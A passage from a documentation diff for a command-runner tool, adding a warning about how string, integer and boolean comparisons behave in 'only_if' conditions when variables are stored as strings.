$KILLPID only_if: $KILLPID > 1 @@ -147,6 +150,39 @@ Every command, regardless of its type supports the following general options: cmd: echo "regex match found" only_if: some_string =~ some[_]?string + .. warning:: + + When comparing strings with integers, standard Python conventions apply: + + **Equality / Inequality** (``==``, ``!=``): + A string and an integer are never equal, so ``"1" == 1`` is ``False`` + and ``"1" != 1`` is ``True``. + + **Identity** (``is``, ``is not``): + Compares object identity, not value. ``"1" is 1`` is always ``False`` + because a string and an integer are distinct objects, regardless of + their apparent values. + + **Ordering** (``<``, ``<=``, ``>``, ``>=``): + Comparing a string with an integer raises a ``TypeError`` in Python 3 + since the two types have no defined ordering. These operators should + only be used when both operands share the same type. + + **Integers and Booleans** (``==``, ``!=``): + In Python, ``bool`` is a subclass of ``int``, so ``1 == True`` and + ``0 == False`` are both ``True``, while any other integer (e.g. + ``2 == True``) is ``False``. This also means that if a + ``$variable`` has been set to the string ``"True"`` or ``"False"``, + comparing it against a boolean literal (``$var == True``) will + always yield ``False`` — because the resolved value is a ``str`` + while the literal is parsed as a ``bool`` by ``ast``. Use string + literals for boolean-like flags stored in the ``VariableStore``: + ``$flag == "True"``. + + Importantly, before a condition is evaluated, all ``$variable`` references are + resolved by the ``VariableStore``. **The store holds every value as a + plain Python** ``str``, even values that were originally integers + are coerced to ``str`` on ingress. .. confval:: background